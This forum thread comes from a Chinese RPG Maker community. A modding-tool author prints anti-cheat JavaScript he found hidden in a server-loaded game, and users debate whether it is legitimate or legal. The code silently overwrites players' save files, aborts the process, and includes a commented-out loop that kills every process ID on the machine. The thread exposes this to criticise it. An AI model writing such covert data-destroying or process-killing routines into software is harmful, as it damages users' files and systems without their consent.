设为首页收藏本站|繁體中文

Project1

 找回密码
 注册会员
搜索
查看: 16677|回复: 108
打印 上一主题 下一主题

[交流讨论] 讨论,做暗桩 发现作弊时 杀掉电脑上的全部进程合理吗?

[复制链接]

Lv3.寻梦者

梦石
0
星屑
3476
在线时间
293 小时
注册时间
2020-1-27
帖子
190
跳转到指定楼层
发表于 2020-7-11 00:25:26 | 只看该作者 |只看大图 回帖奖励 |正序浏览 |阅读模式

加入我们,或者,欢迎回来。

您需要 登录 才可以下载或查看,没有帐号?注册会员

x
本帖最后由 zths 于 2020-7-11 00:50 编辑

我有制作一个MV 修改 + 翻译 工具,今天有用户发给我一个游戏样本。。
用户反馈用了修改器后没法存档。。。
我在调试过程中找到了如下代码:

JAVASCRIPT 代码复制
  1. setInterval(function() {
  2.     const againstCheating = function() {
  3.         // Graphics._applyCanvasFilter();
  4.         // SceneManager.stop();
  5.         try {
  6.             StorageManager.save = StorageManager.saveBk || StorageManager.save;
  7.             StorageManager.save(-1, JSON.stringify({"你好": "请勿破解!"}));
  8.             StorageManager.save(0, "{}");
  9.             StorageManager.save(1, "{}");
  10.             setTimeout(function() {
  11.                 // for (var i = 0; i <= 65535; i += 2) {
  12.                     // if ([process.pid, process.ppid].includes(i)) {
  13.                         // continue;
  14.                     // }
  15.                     // try {
  16.                         // process.kill(i);
  17.                     // } catch (e) {
  18.                         // continue;
  19.                     // }
  20.                 // }
  21.                 process.abort();
  22.             }, 20000 + Math.random() * 20000);
  23.         } catch (e) {
  24.             process.kill(process.ppid);
  25.         }
  26.     };
  27.     if (window.close.toString() === "function (){}" || document.querySelector('#HackStageWrap')) {
  28.         againstCheating();
  29.     }
  30.     if (document.querySelector('#HackStage')) {
  31.         againstCheating();
  32.     }
  33.     if (document.querySelector('#CommonEventTab')) {
  34.         againstCheating();
  35.     }
  36.     if (document.querySelector('#TabContext')) {
  37.         againstCheating();
  38.     }
  39.     if ([typeof HackToast, typeof CheckeISNodeJS, typeof  initSysTab, typeof initItemTab, typeof initWeaponTab,
  40.         typeof openSetIntervalCodeWin, typeof initkeySettingTab, typeof offHackStage, typeof StorageManager.saveBk].includes('function')) {
  41.         againstCheating();
  42.     }
  43. }, 3000)


被注释的部分实际功效是杀死电脑里的所有进程....
被发现时代码就是被注释的状态..
我猜可能是有用户被搞了才注释掉的...(只是我猜)
代码是在线上服务器动态加载的....
作者有权力随时修改并应用到客户端.

整段代码仅是针对了我的修改工具.. ( 我的工具就只有 修改 和 翻译 功能, 不提供游戏解包..  而且我自行解包后发现,他的有素材基本都是未授权的网络图片... 很多色图...)
现在代码段已经被作者用 nwjc 加密.
我没心思去分析他后来又进行了什么改动..

游戏是: 魔王契约2.3

说真的 游戏里除了 礼包 就是 抽卡 ???(应该要充值 我没仔细看)
看起来就是手游的套路。。
玩的啥?
为啥就不能好好做游戏??
示例:




评分

参与人数 1+1 收起 理由
白嫩白嫩的 + 1 犹如盗版ps使用者枪杀盗图淘宝店主.

查看全部评分

Lv1.梦旅人

梦石
0
星屑
112
在线时间
72 小时
注册时间
2016-7-19
帖子
52
57
发表于 2020-7-13 21:26:25 | 只看该作者
本帖最后由 everlose 于 2020-7-13 21:29 编辑

要做外挂就低调的做.不要拿出来显摆.更不要拿我以为,我认为,来误导他人给别人定罪.
到底是谁在自以为是?


回复 支持 0 反对 1

使用道具 举报

Lv1.梦旅人

梦石
0
星屑
112
在线时间
72 小时
注册时间
2016-7-19
帖子
52
56
发表于 2020-7-13 21:22:47 | 只看该作者
xermao 发表于 2020-7-13 21:10
你还是没看懂我说的什么,我说的是如果有人利用楼主的工具,制作了修改器,并且分享给别人,那么这个利用 ...

我也不想跟你吵讲真的,平心而论.破解和反破解 黑客和反黑客 在我看来都是相互克制又相互依存的.他们促进了彼此的进步.但问题是,该低调就应该低调. 我也明说.我做过破解器甚至卖过.官方找到我直接点明,再搞就律师函.我果断退出.在那段时间我有想过一个问题.有些东西是否可以相互促进发展.LOL就是个很好的例子.官方自己做起辅助.也就是说在不危害游戏公平和游戏开发商的利益的时候是可以共存的.一个游戏如果没有脚本和外挂说明他不火.甚至现在很多玩家的心态是.没脚本我不玩(别质疑我现在也有个脚本项目).因为没时间玩.所以6.14新修订的民法典明确规定.读取/修改/破坏软件数据的行为都是外挂.基本在脚本平台都散布了这项法改的消息.脚本圈这边也说道.不要动数据,不抓包不动内存.讲真的 如果他的软件不动数据并不是一件坏事.但动数据就不一样.不谈法律.这个行为会扼杀一个游戏甚至一个行业的生命线.这样的冲击并不只是影响游戏开发者.
甚至玩家和修改器作者本身.没有利益就不会有人吃饱了撑的去做优良的游戏.没有利益驱动靠爱发电终究不长久.这是才问题的本质.游戏作者涉黄 他可以去国外发布.但扼杀利益链是整个行业的损失.
回复 支持 1 反对 0

使用道具 举报

Lv1.梦旅人

梦石
0
星屑
147
在线时间
21 小时
注册时间
2017-11-16
帖子
20
55
发表于 2020-7-13 21:14:15 | 只看该作者
本帖最后由 xermao 于 2020-7-13 21:16 编辑
everlose 发表于 2020-7-13 21:10
"一个全部靠猜,别人就犯罪了." 的逗梗
"一个上高度,第三方软件说成通用引擎注射器"的捧哏
你们应该上春晚 ...



这段代码的作者我也认识,一老早我就知道不会杀所有进程,我一直也是讨论的如果杀所有进程的情况。不过我感觉跟你讨论你老爱偏题。并且喜欢讨论中加入强烈的个人感情。算了,不和你说了。说不清楚。

回复 支持 反对

使用道具 举报

Lv1.梦旅人

梦石
0
星屑
112
在线时间
72 小时
注册时间
2016-7-19
帖子
52
54
发表于 2020-7-13 21:10:24 | 只看该作者
xermao 发表于 2020-7-13 20:31
我不知道你发这么条款是想说哪一条,但是不管哪一条,楼主的行为都不符合。要违法也是用楼主软件修改游戏的 ...

"一个全部靠猜,别人就犯罪了." 的逗梗
"一个上高度,第三方软件说成通用引擎注射器"的捧哏
你们应该上春晚真的!



回复 支持 反对

使用道具 举报

Lv1.梦旅人

梦石
0
星屑
147
在线时间
21 小时
注册时间
2017-11-16
帖子
20
53
发表于 2020-7-13 21:10:05 | 只看该作者
everlose 发表于 2020-7-13 20:56
第一他已经分享了.论坛有帖子.
第二,游戏作者那段代码你运行过么?有人已经提醒你们注意了.并没有关闭所有 ...

你还是没看懂我说的什么,我说的是如果有人利用楼主的工具,制作了修改器,并且分享给别人,那么这个利用楼主工具制作修改器的人就违法了。但是不管别人拿这个工具做什么楼主都是合法的。
相同情况类似https://docs.microsoft.com/zh-cn/windows-hardware/drivers/debugger/debugger-download-tools
这个工具可以说是万恶之源,如果把所有调试器都搞死的话,自然就没有任何破解和修改器了。

一开始我确实不知道那个代码到底会不会真是杀所有进程。但是其实这个不是重点,重点不是楼主的标题吗
《讨论,做暗桩 发现作弊时 杀掉电脑上的全部进程合理吗?》
当然,他举例错误确实有问题。我觉得他不该拿一个具体的游戏来举例,就直接说这个现象就行了。
回复 支持 反对

使用道具 举报

Lv1.梦旅人

梦石
0
星屑
112
在线时间
72 小时
注册时间
2016-7-19
帖子
52
52
发表于 2020-7-13 21:04:24 | 只看该作者
xermao 发表于 2020-7-13 20:31
我不知道你发这么条款是想说哪一条,但是不管哪一条,楼主的行为都不符合。要违法也是用楼主软件修改游戏的 ...

第三,楼主发现的时候.那段代码已经被注释掉了,这是他自己说的.  然后臆测别人要关闭所有进程说游戏作者被搞也是他的猜测 这话也是楼主自己说的,请问.臆测可以当作证据么?
第四,二楼他有追加了一段 说游戏会动态加载代码.这个事情其实并不罕见很多游戏都是如此.甚至可以用这个理论做热更.而楼主又开始臆测了.说是影藏的挂马?请问 你们一直在臆测什么?合着所有是都是你们怎么认为就改是怎么样的么?
那按照楼主的理论他说他搞服务器.那他反的事就更多了.
回复 支持 反对

使用道具 举报

Lv1.梦旅人

梦石
0
星屑
112
在线时间
72 小时
注册时间
2016-7-19
帖子
52
51
发表于 2020-7-13 20:56:56 | 只看该作者
xermao 发表于 2020-7-13 20:31
我不知道你发这么条款是想说哪一条,但是不管哪一条,楼主的行为都不符合。要违法也是用楼主软件修改游戏的 ...

第一他已经分享了.论坛有帖子.
第二,游戏作者那段代码你运行过么?有人已经提醒你们注意了.并没有关闭所有进程.在第一个关闭游戏进程的时候游戏崩溃后续代码就不会执行了.
所以你们这些破解作者就是这么高调的?趁普通吃瓜群众不注意歪曲事实?误导他人?
回复 支持 反对

使用道具 举报

Lv1.梦旅人

梦石
0
星屑
147
在线时间
21 小时
注册时间
2017-11-16
帖子
20
50
发表于 2020-7-13 20:31:24 | 只看该作者
本帖最后由 xermao 于 2020-7-13 20:36 编辑

我不知道你发这么条款是想说哪一条,但是不管哪一条,楼主的行为都不符合。要违法也是用楼主软件修改游戏的人,不是楼主。能明白吗?
并且
第十六条 软件的合法复制品所有人享有下列权利:
  (一)根据使用的需要把该软件装入计算机等具有信息处理能力的装置内;
  (二)为了防止复制品损坏而制作备份复制品。这些备份复制品不得通过任何方式提供给他人使用,并在所有人丧失该合法复制品的所有权时,负责将备份复制品销毁;
  (三)为了把该软件用于实际的计算机应用环境或者改进其功能、性能而进行必要的修改;但是,除合同另有约定外,未经该软件著作权人许可,不得向任何第三方提供修改后的软件。

即便是用楼主软件修改了游戏,只要他不把自己的修改器再分享给别人,他也不违法。



(一)未经允许,进入计算机信息网络或者使用计算机信息网络资源的;
(二)未经允许,对计算机信息网络功能进行删除、修改或者增加的;
(三)未经允许,对计算机信息网络中存储、处理或者传输的数据和应用程序进行删除、修改或者增加的;
(四)故意制作、传播计算机病毒等破坏性程序的;
(五)其他危害计算机信息网络安全的。


你说的这几条,反而是游戏作者违反了,未经允许破坏了玩家的计算机。至于修改器,只要玩家允许他修改,那就合法。你要明白一点,这是玩家的计算机,不是游戏作者的。
除非换个作者提供的是一个可以直接入侵游戏服务器的工具,这种才符合。
回复 支持 1 反对 0

使用道具 举报

Lv1.梦旅人

梦石
0
星屑
112
在线时间
72 小时
注册时间
2016-7-19
帖子
52
49
发表于 2020-7-13 20:22:21 | 只看该作者
零教授 发表于 2020-7-13 18:16
长臂管辖就是长臂管辖,在没有外交权限的情况下干涉他程序内政的事务没有什么好辩驳的。
我也做过能打开玩 ...

你吧那个代码运行一遍你看会不会干涉其他程序.楼主就是在忽悠人.当代码运行时第一个就关闭游戏自身,后面的关闭不会执行.现实效果就是游戏崩溃.人家自己关自己游戏防止作弊合理合法么?楼主就是喜欢上高度博关注而已
回复 支持 反对

使用道具 举报

Lv1.梦旅人

梦石
0
星屑
112
在线时间
72 小时
注册时间
2016-7-19
帖子
52
48
发表于 2020-7-13 20:17:59 | 只看该作者
夜狠简单 发表于 2020-7-13 18:25
纠正主楼一点,在网上说话大家不会有那闲工夫去求证,你说了什么,大家只会选择相信你的观点.且不是人人都知道 ...

楼主就是个会上高度,博得关注的主.人家游戏作者确实涉黄,也没图片版权.但人家低调.不作死.楼主是在作死.还给自己上高度,上的越高死的越惨.
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册会员

本版积分规则

拿上你的纸笔,建造一个属于你的梦想世界,加入吧。
 注册会员
找回密码

站长信箱:[email protected]|手机版|小黑屋|无图版|Project1游戏制作

GMT+8, 2024-11-26 15:13

Powered by Discuz! X3.1

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表